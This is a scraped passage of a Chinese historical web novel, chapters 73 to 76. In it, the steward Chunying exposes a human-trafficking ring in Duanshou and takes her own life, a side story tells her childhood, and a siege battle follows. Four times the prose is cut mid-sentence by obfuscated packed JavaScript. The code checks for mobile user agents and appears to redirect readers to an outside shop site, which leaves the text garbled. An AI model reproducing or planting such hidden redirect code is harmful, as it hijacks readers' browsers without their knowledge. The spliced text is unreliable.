“就是啊,我要是她我根本就不能再出现在大家面前,简直丢人丢到骨子里去了,怎么好意思的啊?” “还说呢,之前不是传说,这人跟陆氏有关系吗,不然你以为她一个女子凭什么能坐到春山居管事的位置?” 墙倒众人推。 春山居最得意的时候,这些人见到春盈,哪个不是退避三分。 而如今,猜忌、谣言、甚至于污言碎语,每一句话、每一个字都精准的传进了春盈的耳中,但她并没有太大的反应,只是看似平淡的上了台阶,站到了最高的,好似万众瞩目的位置上。 在经过秦祉的一刻,春盈下意识停顿了半秒,却没有看对方一眼,只走了两步,一一扫过台下众人或熟悉或陌生的脸。 “各位想必都听说过我。”她感受到自己热烈跳动的心跳,一声声巨响好似淹没自己的声音,“如果不认识也没关系,我名唤春盈,曾是春山居管事,负责春山居的大小一切事宜。” “春山居各位定有所耳闻,那是端寿城内最大的酒楼,因其花销无数,是普通百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176101|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所不能及之地。”春盈顿了顿,缓缓勾起一抹破碎讽刺的笑,扬声喊道,“但那也是端寿城人口贩卖的容纳所!” “她说什么?” “......人口贩卖?春山居吗?” “你发什么疯!”那人见状慌不择言的骂着就要动手拽春盈,“噌”的一下,战戟抵住他的喉咙见了血,柏萧鹤冷眼睨他,警告,“别动。” 他整个人僵在原地,咽了咽口水:“她在说谎,她是在说谎!” “我说谎吗?”春盈微微垂下眸,“城内的百戏坊负责抓人,送到春山居看管,再由兑忧书斋发卖给感兴趣的士族公子,其余人为了防止消息泄露,按照上面那人的意思,是都处理掉,可陆氏没有那么做,留了我们一条命,搁置在了春山居。” “这些事情你们是打听不到的,但街坊邻居里谁家的女儿丢了总该知道吧?”她微微抬头,质问道,“你们以为有谁会有这样通天的本事,在各官员、律法面前做出此等伤天害理的事!” “除非这个人,原本就是权势滔天!” “这我倒真是有印象,我家后街那家人的女儿的确是不见了,他们报官府,那边说是给查,可这些年过去都不见得有个动静。” “难不成是被......这真的太过分了!”那人咬牙骂道,“简直就他大爷的不是个东西才能做出这种事!” “我的女儿就是如此!”妇人哭喊着冲出人群,“百戏坊的人亲口跟我说,让我放弃,我不会再找到她了,我也得罪不起那些人......” “她走失的时候只有十四岁啊——”好像一瞬间,老了十来岁,满头发丝泛白,脸色也苍老的不成样子,她满脸泪水,撕心裂肺,“我甚至不能想象如果她还在,如果她还活着,会是什么样子的……” “可为什么是我的女儿,为什么偏偏是我的女儿!” 人群之中,有人倒吸一口凉气:“啊,我认识她,这几年一直在城内到处打听她女儿的事,后来有人说她是已经疯了才这样的,她女儿居然是被绑走卖掉了?” “是不是之前官府还放出公告说她精神有问题,让大家都小心些,离她远点的那个?” “卧槽,竟然是这样……这是谁在端寿一手遮天了不成?” “当然可以一手遮天。”春盈说,“因为这起长达数年之久的产业就是出自这人口中,心心念念的端.” “你住口!”那人吼道,“妖言惑众你其心可诛!” “她是春山居的管事,若真如她所言,那她就是看管那群姑娘的罪魁祸首,这样的人也配站在这里说话?她本就不是什么好东西!” “不是这样的......”最外围,有姑娘想要动身,被明薇一把拽住,“你要去哪?” “我想替她作证,春盈姐没有说错,春山居就是那样的地方!” “你糊涂了是不是。”明薇皱眉看着她,“殿下答应我们,只要动了手,等到战事结束便送我们去劭关,你眼下出面,这些人便会记住你的长相,流言蜚语是会杀人的!” “可......” “那人有一句话说的不错。”明薇视线落到台上春盈的身影上,轻轻开口,“她本来就不是什么好人。” 73. 自尽 “嘶...”秦祉抬手点了点那人,“哪来的那么多废话。” “要不干脆割了舌头算了。”柏萧鹤似笑非笑地威胁,吓得那人当即捂住了嘴。 “那怎么行,别一转身又冒出来个什么人,指责你我控制言论,不允许别人说话可怎么好。” 这两人一唱一和,半点紧张的气氛都无。 “那就说点好听的。”柏萧鹤眼眸一垂,打量着此人,“楚湛给你多少好处,你就敢不怕死的站在这挑衅我们,说说看。” “够你死上几百回也不后悔的吗?” 那人看着对方的眼睛,呼吸加重了。 “是端寿王楚湛。”春盈将刚刚被打断的话说出了口,就像是突然卸掉了那道一直桎梏自己的枷锁,突然间,她觉得很轻松,从未有过的轻松,“这个人两面三刀,为人狠毒,根本就不配做在那个位置!他这种人就应该下地狱!” 台下一片哗然,交头接耳声此起彼伏,那个营造了数年好形象的楚湛,终于在此时此刻,被公然揭露开来。 “不、不对......”那人似乎反应过来了什么,他猛地看向面前的秦祉,“是你让她这样做的!” “你早就知道......” 秦祉缓慢踱步到此人面前,摊手笑道:“后手准备嘛,原本没必要走到这一步的,谁让你们非要给我找点事做。” “不,还有一个,还有陶祺.” “哎~”这话一出,秦祉险些没动手砍人,她忘了还有这茬,陶祺这事无人知晓,若是被公然说出来,绑了沧州牧之子,那她“欲夺沧州”一事跟证据确凿没有什么两样。 秦祉心道:苍天,好大一口锅! 不过此事要是让被关在地牢足足半月的陶祺得知,恐怕气也气死了,合着对方压根是一点不把他放心上。 她正琢磨着该怎么将这锅丢回去,那边春盈果决的声音就已经切断了此人的话,掩盖住一切杂音,她迎着烈日而站,风将她的头发吹起,露出那道折射着光的双眸。 “我在此!为所有遭受不幸的女子发声,无论此次与徐军的战事如何,端寿所有上位者皆是压迫百姓的罪人,我们端寿绝容不下此等小人为非作歹,残害百姓!” “我春盈,愿以死明志,今日所言无半句掺假,还望诸位有朝一日,可为我们遭受苦难的无数冤魂,报仇雪恨——” “嘭!” 巨大的声响之后,留在石柱上的,是点点血迹,往下流淌。 堪称壮举般的毫不犹豫,春盈用着最漂亮的妆容,揭露端寿数年黑暗后,慷慨赴死,撞石自尽于里街。 春盈的死深深印在了在场每一个人的眼中,一时间所有人都被吓住了。 秦祉早有预料,因此早早安排了春盈与那妇人,为的就是此时此刻,在最开始那有关端寿易主的巨大信息尚未消化完全的时候,一个接着一个的反转扑面而来,让百姓反应不及,完全被牵着鼻子走。 但她不曾料到的是,春盈会选择这样一种方式,结束自己的生命。 柏萧鹤三步并作两步地冲到了春盈身侧,朝着脉搏探去,而后对秦祉微微摇头示意。 后者了然,马上接道: “半年前兑忧书斋的大火,就是本王撞见了此事一怒之下的行为,而后的时间,本王与陆氏暗中调查此事,并遣散了春山居,只是这背后主使藏的够深,没有早些时日揪出来。” 人死不能复生,她的当务之急,是将春盈的死发挥到最大价值,也就是彻底抓住端寿城百姓的心。 “你们自然有人看见了今日楚湛被押送至王府一事,此事不假,正是本王所为。”秦祉继续说着,声音开始悲痛起来。 柏萧鹤偏头哑然笑了一声:装。 她说着说着,掩面继续演道:“因为本王发现,楚湛为了此事不被暴露,竟连夜杀害端寿士族家的公子,血染春山居。” “这是何等的耸人听闻啊!” 柏萧鹤闻言微微挑眉,这也行? “这些士族本就不明所以,正一心为端寿百姓抗击徐军,却不曾想自家孩子疏于管教做出此等恶事,更不曾想他们尽心效忠的人,如此卑劣。” “诸位今日在此,本王便有话直说,你们以为开了端寿的城门,他徐军会善待各位吗?”秦祉环视一周,道,“不会的。” “端寿城破,他徐军会继续南攻,沧州数十县皆会沦为战场,而战争,需要粮药、需要盐铁,数十万人的大军需要养,从谁那里出?” “当然是...你们。”秦祉缓缓舒了一口气,能让他们最直观了解到并意图反抗的方式,就只有涉及个人利益得失,这也是最快、最有效的办法。 “届时端寿必会被徐军洗劫一空,而你们也会被拉去充军,成为冲在前线攻城牺牲的那一批人,仅此而已。” 秦祉语调波澜不兴,慢条斯理:“而此人,居心叵测,妄图引诱百姓、献城投敌,大敌当前、动摇军心、其罪当诛。” “不、他在胡......啊!” 没有再给他反驳的机会,战戟直接贯穿胸膛,柏萧鹤手腕一转,睥睨万物般笑着逼问:“你们呢?” 这一举动让台下百姓倒退三步后,这才惊觉对方的眼神锁定在了他们身后,那是......端寿的几家士族。 “我等自然竭尽全力,守护端寿。”牙怕是都要要碎了…… “殿下,都督,徐军准备第二波攻城了,有斥候来报,看见徐军分三路人马准备绕东西两侧围攻端寿。” 秦祉问:“这两路各有多少人?” “各有约莫一万人,主战场仍在北门。” “西侧地势高,从上而下是平坡,兵马可以强杀,对方没有还手之力。”二人奔袭在路上,柏萧鹤说道,“昨夜崔颉妙的行动如果无误,八百里加急,最迟明日徐生就能收到消息,我们要在今天切断他的后路。” “她不会失败……看路。”一个逆向跑来的小孩儿险些被撞倒,秦祉抬手将人拎到一旁,看都不看的继续赶路。 “什么?”因为她被耽搁而走到前方的柏萧鹤,他回头看去,然后下一秒自己被撞了:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柏萧鹤脸色也好不到哪去,原本就冷硬的五官此刻显得更像地狱里爬出来的恶鬼了。 金汁在守城之战中,一般指两种,其一是熔化的铁水,从城楼灌下去死伤一片,碰见明火便是如同炼狱。 但面前这臭气冲天的味道,很显然只能是第二种可能,那就是被加热到滚烫沸腾的粪便尿液。 这一招的确好用,但是尘土飞扬中,裹挟着血腥和这种味道,不亚于杀敌一千,自损八百了…… “呕…”秦祉很少见过此等场面,尸山血海见得多了,屎山尿海倒是……“呕!” 不行,不能想。 肩膀被轻轻拍了一下,秦祉回身,柏萧鹤看样子已经调理好了,神色自如地指了指城楼示意:先上去。 完全没有张嘴啊...... 一定是强忍的吧! 两个人越过阶梯上到城楼上,城门尉像是找到了主心骨一般,正想开口,只听一道拐着弯、极度不平稳的声音从唇齿中挤出,崩溃道: “谁让你现在就用金汁来守城的啊!” 74. 番外:陈遥光 她其实不叫春盈。 最早也不是什么春山居的管事,记忆中她也曾经在一个小院子里,似乎有着和美的家,过着还算快活的日子。 但是仔细想想,其实记不大清了…… 好像是上辈子的事一般,早已记不清了。 第一次知道春山居的那年,她只有八岁,那天风和日丽、万里无云,几个半大的孩子一边跑、一边闹,丢下身后母亲笑意盈盈“记得回家吃饭”的劝告,顺着里街小巷穿过,像一阵风,自由而热烈。 偶有路边杂货的店主笑骂两句,也不过是训她们看着路,别胡乱撞坏了人家的东西,赔是赔不起的。 春盈,不,那个时候她不叫春盈。 她叫陈遥光。 小小陈跟着一群孩子,她腿脚最快,冲在了最前方,倒退着笑喊道:“你们快点!听说那边的百戏坊就要开始了,再晚点可就看不到了!” “不用着急啦,赶得过去!” “就是,倒是你跑那么快当心......哎,陈遥光看路!”那道声音听着十分急促,可等她反应过来的时候,身子已经先一步撞到了人,脸贴到那人衣服料子的瞬间,陈遥光心中只剩下一个念头:完蛋了。 她避之不及,猛地扑倒在了石砖地面上,来不及吃痛,入眼看见的便是丹青松柏纹的玄色缎面长袍的下摆,雍容、华贵,高不可攀。 “啊......”一群孩子直接傻眼了,愣是一个字都没敢说出口。 “干什么呢你们!知道我们家主人什么身份,也敢冲撞上来,不要命了!”身后小厮呵斥的要弯腰将人拉扯开,陈遥光顿时吓得险些掉眼泪,她连忙小声说着,“对不起对不起,我不是故意的,您千万别和我一般见识......” 那华服的主人抬手一拦,挡住了小厮的动作,他逆着光,陈遥光看不清对方的长相,只知道他的声音很好听,犹如神袛般的悦耳,“没事,你和一小孩子计较什么。” 而后他似乎终于肯施舍般地微微垂眸,打量着面前的小孩,未几轻笑:“年岁不大,倒还会说话。” 只此一句,那人便抬脚迈入了身后的那道台阶,陈遥光心有余悸地抬头望去,只见黑色牌匾上写“春山居”三个大字,大门内,莺莺燕燕、语笑喧阗。 原本该结束的,她与这些富贵之人的缘分,若是只在那一天有过一次交集,或许她的人生未必会是如此。 再次与春山居的交汇,是一场意外。 一年后,陈遥光无意间撞见了一位女子从春山居后院翻墙而出,两个人就这么摔叠到一处去,她“哎呦”一声,从地上爬了起来,嘴上说着“你没事吧”,可眼睛看过去的一瞬间,险些没有尖叫出声。 是血。 大大小小的伤口遍布全身,她年岁小,分不清那是什么,可若现在想来,其实足够直观了,是鞭伤。 那女子漂亮秀丽的容颜,痛苦哀恸的表情,陈遥光有很长一段时间都难以忘记。 “救救我......”那女子泪水顺着眼角滑落,像是抓住了最后一根救命稻草般,尽管这是根刚刚冒头的小草,一拽就掉,可她仍旧在求救,她说,“带我走......” “啊?”陈遥光懵了,“我怎么救你,你还能走吗?” 那女子哭着咬牙起身,看样子体力不支,走不了多远就会倒下,陈遥光到处看了看,拾起根木棍给她撑着:“这边有条小道,能通到峡河去,沿路也难留下印迹......” “我想报官...”她声泪俱下道,“我要去官府......” 还是太善良了…… 陈遥光想,她如果不帮这个忙,如果多问一嘴发生了什么,或者说,哪怕不帮她去官府,都还能逃脱这个该死的命运的。 “那也要先离开这里吧!”陈遥光带着人,从那小路上边走边观察,连带着掩盖了足迹,绕了几圈路,让血迹混乱的没有路线,这才带着人去了官府。 可是...... 当进入官府的那一刻,那女子便如同崩溃一般,放声大叫,甩开她的手便要往外冲,最后被府兵拦住了,硬生生将人按在了地上跪了下去。 “不——不要——!” “放开我,你们都是疯子,放开我,救命!” “啊啊啊啊——救救我啊!” 陈遥光彻底呆住了,她看见坐在官位上的大人殷勤着起身,去迎那位贵人,脸上带着谄媚地笑:“陆公子,您来了。” “这人听说是从春山居逃出来的,在下正要带人去抓,您猜怎么着,她竟自己跑来报官了哈哈。”他说着,挥手命人将女子压到眼前,“您看看就是她吧?这可真是,害的您多跑一趟......” 陆公子? 陈遥光诧异地望向此人,只见那人眉清目朗、风姿卓越,他只微微瞥了那女子一眼,说:“大人客气,此人终归无用,便不要了。” 这道声音! 陈遥光呼吸停止了一瞬,这人是一年前与她有过一面之缘的公子! “那便......”大人眼眸转了一圈,心下了然,当即呵道,“此人犯下大罪,偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187744|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取陆公子的首饰金银,而后公堂之上反咬一口,此等不干不净的作为我们端寿绝不姑息,但看在她年纪不大,又是初犯,便受杖刑二十,以儆效尤。” 此话一出,府兵即刻将人拖到了院中,不出半盏茶的功夫,撕心裂肺的哭喊声就传入了陈遥光的耳中,她浑身僵硬着,连头都不敢回一下,竭力当做看不见也听不见的样子。 几个闷棍声下去,那道哭声越来越小,最后逐渐消失了...... 不到一会儿功夫,那府兵漠然禀报:“人受不住刑,死了。” 恐惧,铺天盖地。 在年幼的陈遥光心中留下来巨大的阴影,她哪里想过会亲眼所见颠倒黑白、草芥人命,仅仅一句话,仅仅只有一句话而已...... 她浑身颤抖着,连呼吸都控制不住,眼前湿气弥漫,根本看不清什么东西,可她仍然看见,那个被唤作“陆公子”的男人,漫不经心地将视线落到了她的身上。 像是被一条毒蛇缠住一般,她浑身战栗发冷,不能呼吸。 “这孩子也由下官处理掉?”那位大人让人收拾了女子的尸身,回头询问,听到这话,陈遥光腿都软了,她心里清楚这间屋子究竟谁才是话语人,慌乱之中她猛地冲着那公子跪下:“我、我可以为您做事的,我很有用的......” 不要杀我,求你。 她的目光如此挚诚,眼睫微微颤抖,脆弱的好像一只手就能将她掐死,可这样的人,却在最后关头,为自己谋一条生路。 陆公子似乎觉得有趣,他歪了歪头,笑着问:“我能用你做什么呢?” 蛊惑的、像是一只恶魔,引诱着陈遥光走向那条看似活路,实则会坠入无尽黑暗、踩着人血的死路之上。 “什么都可以,我什么都可以做!”陈遥光急切道,“您之前说过我很会说话的,我什么都可以的…” “那女子逃命的路线,可是你带的?” “是,是我,这些小路我都熟悉的很,我闭着眼睛都能甩掉别人的!”她语速飞快的,将这一路的所有行为纷纷说给他听。 语毕,陆公子笑出了声,良久,他轻轻叹道:“很好。” 再之后,春山居便多出了一位小孩。 陈遥光也不记得后面的故事了,因为从那之后,陈遥光就彻底消失了,往后余生,活在这个世上的人,是春山居的管事,春盈。 至于陈遥光的家,春盈曾去偷偷望过一回,陈家生了一个男孩儿,依然和美的,过着还算不错的生活,至于陈遥光,已经无人再提起了…… 75. 心悸 “殿下,都督,你们回来了!”城门尉眼前一亮,“这金汁浇下去十分好用,不但敌人会退,回去也活不成……” “那我们要怎么出兵?”秦祉绝望了,忍着反胃的感觉,一字一顿道,“让他们赶紧收手,金汁留着最后再用!” “要准备出兵了?那快撤掉都撤掉!”端寿兵马一旦出动,那金汁简直就是两败俱伤的最大杀器,不说那场面会如何,单是自己士兵受伤感染一事,就十分棘手,城门尉连忙招呼着喊,“都换成沸水!” 士兵端着锅往后撤的时候,一块投石从城下飞来,“哐当”一声重重砸向那口灾难,“溅出来……唔!” 扣了士兵一身…… 离他最近的柏萧鹤当即后退三步:“备火油,逼退这一波徐军后放吊桥。” 秦祉:真是巧妙的转移了话题呢。 ---- “唰——” 火光冲天,顺着城楼蒸腾出浓烟,直上百里。 最后一波攻城被挡下来后,护城河已然尸骸成堆,尉官大喊着“预备,放——”,巨大的吊桥随之被士兵拉着缓缓下沉,搭在了护城河之上,城门向内打开了一条缝隙,仅够两人通过,一人率先纵马而出,身后洋洋洒洒百道身影紧紧跟随,气势恢宏。 “他们冲出来了——” “队形稳住,不要乱!” “杀啊——”战马踏出四蹄,从吊桥上一跃而下,朝前飞速狂奔,雷鸣般轰隆作响的马蹄声中,轻骑双手猛地挥刀,八尺大刀从地面狠狠划过,往上一抬,轻而易举的将人劈成两半,当即血洒三尺、尘土飞扬。 像是一把霹雳而至的利剑,当场破开徐军的队形,搅他个天翻地覆。 “沧州兵杀出城了!”尉官急忙禀报,惊慌失措道,“为首之人......” 王戚蹙眉问:“是谁?” “是、是柏萧鹤!” “什么?”晴空霹雳,徐军所有人纷纷倒吸一口凉气。 “柏萧鹤?”徐生惊道,“他怎么会出现在端寿?” “中计了。”王戚面色阴沉,声音发涩,“楚湛递过来的条子是假的,柏萧鹤根本就没有同晋赭王分道扬镳,这二人可好得很呐...” 徐生思绪一转,反问道:“你的意思是,他们二人合伙演了出戏给我们,那楚湛便是和他们一伙了?” 王戚摇头:“那倒未必,只是他究竟如何已经不重要了,当务之急是攻下端寿。” “即便他柏萧鹤在此,也不能顶我徐军三十万大军,他们不会想到,我们还留了一手。”他将目光放到远处的战场,“叫吴尉带兵迎上去打乱他们的路线,人散后直接单杀。” “啊!”徐军前锋被突如其来的骑兵杀了一个措手不及,长刀长枪横向扫过,一下就掀飞数个步兵,高大的战马从身上一蹋,足以将人剁碎,顷刻之间杀出上百米。 “柏萧鹤——”一道怒吼劈风而至,吴尉一路冲到前军,杀气腾腾,“有本事我们单挑!今日定让你有去无回——” “往回退!”银刃战戟上鲜血顺势滴落,柏萧鹤唇角一勾,扬声下令,战马嘶鸣,率先冲出重围,杀出一条血路。 “左右侧翼两队围攻!”吴尉呵令,紧随其后,铆足了劲追上去,那道纵马雄姿越来越近,他当机立断挥斧砍去。 柏萧鹤轻啧一声,果断战戟一拦,将斧挥开,与此同时,战马停了下来,他眉目显出几分少年意气,傲然开口:“有去无回?” “本将军驰骋沙场经年,还是第一次有人敢在我面前大放厥词。”他视线扫过对方,嗤笑一声,“有点意思。” “将军,我们不能再在这耗下去,徐军一会儿就会包围上来的!” 柏萧鹤双眸一眯:“杀他,轻而易举。” 什么轻而易举,再不撤回城就要被包围了! 沧州兵面容扭曲的想。 与此同时,城楼之上的城门尉也眯起眸看去:“殿下,柏都督是不是停下来了?” 秦祉见状笑了笑:“没事,不用管他,守好城门就是。” 风呼呼刮过,吴尉硬生生接下一击,巨大的力道和刁钻的角度险些让他从马上脱落,他咬着牙避开了柏萧鹤的攻击,逃了两步抽出空隙再度袭来。 柏萧鹤微微挑眉,身形一偏一挡,银刃战戟在手中调转方向转了两圈后,猛地刺中手腕,将斧带飞,几十斤沉的战斧重重摔落,顺势砸倒两个步兵。 “啊!”吴尉大叫一声,疼痛顷刻从手腕席卷全身,疼的他冷汗直流,但没有时间犹豫,他左手抽出腰间别的环首刀,企图硬抗一回,等徐军包绕,围剿对方,不料柏萧鹤突然开口:“来了。” “咯噔。”一声。 明明什么都没看到,可吴尉心头却猛然一沉。 什么来了? 犹豫不过两秒,只听徐军之中有人高喊着: “西面来了一支骑兵!” “杀过来了!” “是什么人......不、快跑、快跑——是柏萧鹤的亲兵!” 这几个字的含金量与沧州兵马全然不同,柏萧鹤的亲兵——策锋营,这才是真正的,属于常胜将军的,战无不胜、令人闻风丧胆的兵。 领头之人是居川,他嘴角噙着一抹笑,带着十足的戾气,从西侧一路杀向主战场,生生撕开徐军侧翼,彻底打破前锋阵营。 柏萧鹤根本就是故意留下的! 吴尉大喊道:“快撤!!队形不要散,两侧......额!” 人头落地。 尸身晃晃悠悠地随着马动了两步,露出了身后柏萧鹤冰冷无情的眼,此刻鲜血飞溅,在他精致的面容上作出一幅画卷。 “杀。”居川面无表情的下令,前后一盏茶的功夫,两侧围攻,吴尉及其手下百名骑兵,全部战死。 策锋营夺胜便收手,毫不恋战,在数万徐军中破开口子,顶着数道沉石和箭矢,一路斩杀回程。 居川紧随其后:“西面峡河徐军的工兵和南下绕路攻城的兵马都被管乔处理了,都邑那边来了消息,条子递出来了,估摸着就今日,便能到徐生手中。” 策锋营身后徐军穷追不舍,箭矢铺天盖地。 若能将柏萧鹤射下,那就是首功! 像是杂草般的念想一旦长出就是疯狂蔓延,骑兵拉满弓弦,跨越人群瞄准前方的男人。 一声轻微的声音响动,铁箭势如破竹、穿杨贯虱,划破空气又快又猛地钉入身体,生长雕刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221949|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一朵血花。 “呃......” “将军。”居川下意识喊了一声。 策锋营前方,柏萧鹤微微抬头,只见城楼之上,秦祉顺光而站,轻甲银装,身姿因拉弓显得张力十足,修长的手指上带和田玉扳指,轻松卡住弓弦,极具美观。 余晖彩霞下,宛若为她镀上了一层细碎的金光,五官柔美惊艳的近乎不真实,但那双眼登高远眺,将一切尽收眼底,岿然不动,单是站在那里,便可为端寿定稳军心。 徐军被一箭封喉。 秦祉微微一笑,隔空一点,下令道:“放箭。” 下一刻,箭雨遮云蔽日,无数阴影下,那人迎风而立,矫矫不群。 “露宿风餐誓不辞,饮将鲜血代胭脂。凯歌马上清平曲,不是昭君出塞时。【1】” 莫名的,柏萧鹤自觉心跳如雷鼓,响彻耳际。 他纵马从护城河上折回城内,而后城门再度紧闭封锁,吊桥收了回去。 “两军整队,等待时机。”他翻身下马,先一步上了城楼,那脚步匆匆,单看背影都显得有几分心急。 居川暗自疑惑了一下,这才跟了上去。 柏萧鹤登上城楼时,秦祉像是感应到了什么,回头望去,战火滔滔中,二人不期而遇的对视。 他很少,或者说从未有过这种心情,从战场下来时,迫切的想要见到一个人。 但此时此刻,那种心绪在这片混乱的战场上疯狂增长,一下一下敲击着他的心房,莫名其妙的。 他想更近一步。 或者说…… 是渴求。 秦祉微微歪头:“你……?” 柏萧鹤:“呕。” 城楼的味道还没完全散去,他这一口吸进去,差点吐出来。 秦祉果断后退三步:“……喂。” ---- “都邑战报——” 终于,那八百里加急的信件一路从都邑城南下,在此刻到达了王戚的手中。 后者只单扫了一眼,霎时面色苍白惨淡。 “发生了什么?”徐生见状抢过信件一字一字看去。 “我军后方补给没了...”王戚恶狠狠地骂道,“艹,庐野的粮草被他们的人给烧了!” 三日前,殷州庐野。 监野校尉崔颉妙遣一万精兵沿劭关北上,从兰干境内踏足庐野。 “勒马。”崔颉妙一声令下,身后兵马纷纷停下,林中一人缓缓现身,“好久不见。” 崔颉妙微微蹙眉:“是你。” 那人着轻甲,长发束起,眉飞入鬓,身后跟着十几人亲卫,正是兰干五大营的李竹启。 “浮生传信于我,说你作为监野校尉,要从兰干潜入庐野。”半点虚言都无,李竹启开口便直奔主题,“我奉柏将军的命令,在此等候,助你一臂之力。” “不必。”崔颉妙说,“让开。” “你信不过我?”李竹启见状微微挑眉,“我只带你一段路,你就这么直接进兰干,容易被荀谌当成什么乱七八糟的人打出去的。” “眼下拒绝我,下次再见的可就未必会是谁了。” 崔颉妙冷眼盯着她,陷入了短暂的沉默。 76. 大获全胜 足有数秒寂静之后,李竹启算是甘拜下风,她笑着摇了摇头:“警惕心未免太高了,你们殿下没告诉你,我和她有点关系?怎么跟防贼似的......” 李竹启的出现是崔颉妙没有想到的,或者说是,她从未想过这条路上会遇见声称帮助自己的人,此情此景下,无论对方是谁,都未免有些太可疑了。 但崔颉妙转念一想,除了汝则州牧府上那些人,不会再有旁人泄露她的行踪。 若真如李竹启所言,便是柏萧鹤仍在兰干有话语权的证据,若是有内应......崔颉妙眉眼清冷的不带一丝情绪,她微微掀起眼帘,波澜不惊道:“你如何助我?” “兰干和庐野交界地的路观图。”李竹启从怀中随手扔过来一卷舆图,扬声道,“我近些日子在此地募兵,你和徐军周旋的时候注意点,别把战火引到这边来了。” 这便是李竹启的目的了,她只为卖个人情,沧州之战,他们兰干势必支持晋赭王,因为徐军一旦攻进沧州,那么离此最近的兰干就必定会卷入乱战,这不会是他们想要看到的结果。 而晋赭王若成功守住端寿、守住沧州,卖她个人情...... 看着眼前呼啸而过的兵马,李竹启微微一笑:“没什么不好的。” 这份舆图与朔昭阁调查的那份出入不大,但不同的是其间标注了更为隐秘的路线,崔颉妙暗自盘算着,觉得可信度很高。 徐军屯粮在庐野南部与都邑交界的留锡县内,运粮官自北而下,顺沄江驻扎在端寿北面,崔颉妙的行动可谓是在徐生眼皮底下做事,步步惊险。 三日的时辰,万人军马已经悄无声息了入了境,蛰伏进漆黑如墨的夜色之中。 “崔校尉,粮仓没有重兵把守。”斥候潜回山坡之后,“等到丑时,看守士兵懈怠可以直接攻上去。” 崔颉妙蹙眉望向不远处的营地,问道:“旗呢?” “在这放这的,校尉,要打旗吗?”身旁属下对上斥候狐疑的视线,嘴巴一抿,朝旁边的包裹示意。 斥候震惊:玩这么大? 半个时辰后,一千兵马浩浩荡荡的从正门闯入了粮仓,徐氏军旗夜色中迎风发出声响,留锡营地霎时一片惊慌:“校尉!有兵马来袭——” 守营校尉李还从榻上一跃而下,冲出营帐:“什么人!” “有敌袭——”鼓声阵阵,打破沉寂的夜色,带来一股紧迫的气息。 “等等。”李还抬手一拦,微微眯起眸,“哪来的敌袭会如此明目张胆?” “两侧弓箭手保持警戒,待本校尉亲自看看,夜半三更,是何人在此闹事?” 李还,都邑八校尉之一,奉徐行之命镇守庐野粮仓,但此人性傲人骄,相当自满,很少把别人看在眼里。 崔颉妙一向不善言辞,或者说她死士的身份就注定他们这群人一般面对的都是不会说话的尸身,甚少开口与别人交流,啊......崔颉妙想了想,韩晟除外。 但见人说人话,见鬼说鬼话,这项技能是秦祉最擅长的事情之一,常年耳濡目染,多少她也学到了些什么。 这不,李还一声呵斥后,她果断勒马,战旗稳稳停在身后,火把照耀下,让众人看清了上面的字:徐。 “这是......”李还一怔,“你们是徐军的人?” 崔颉妙扯了扯嘴角,露出一个稍显僵硬的笑,好在夜色下看不太清:“我奉张陏之命,前来告知李校尉,如今王戚将军带兵攻入端寿,正是稀缺粮草之时,都邑令有言,非常看重李校尉的才能,此次运粮一事需李校尉亲往监督,今夜立即出发。” “我去?”李还虽然狐疑,但那一句看重他的才能,已经将他吹的有些飘飘然,只是理智短暂的将他拉扯回来,“我的任务是看守粮仓,怎么会如此突然,运粮一事不是由押运官负责的吗?” “不对,你是......?” “此事若成,端寿攻下,都邑令允诺校尉的官职可再往上升。”崔颉妙打断道,将一封信递给对方,“如今都邑虽说皆效命于天子,听命于徐司空,可各家之间仍各自为营,张陏先生并不善武,却如此看重校尉,校尉怎还不明白是何意思?” 一年的话都要在今天说完了……崔颉妙无声叹气。 都邑令张陏的名声谁人不知,眼下他的亲笔信就在手中,李还彻底不清醒了。 那字迹的确如张陏有九分相似,毕竟秦祉和他是老熟人了,找人模仿着写属实不难。 “也不必互送至端寿,沄江岸边即刻,对面自有徐生的人前来接应,只需保障从庐野这一段路,不被他人抢了功勋便是。” 崔颉妙作势从怀中掏东西说:“这是都邑令给我的腰牌,你见了便可放心吧。” 夜色下,李还眯起眸凑了上去,只见玄色腰牌之上赤裸裸金字写着“朔昭阁”三个大字! “你!”李还当即倒吸一口冷气,不等出声,崔颉妙手腕一转,弯刀匕首已然划过对方脖颈,她冷声道:“杀。” 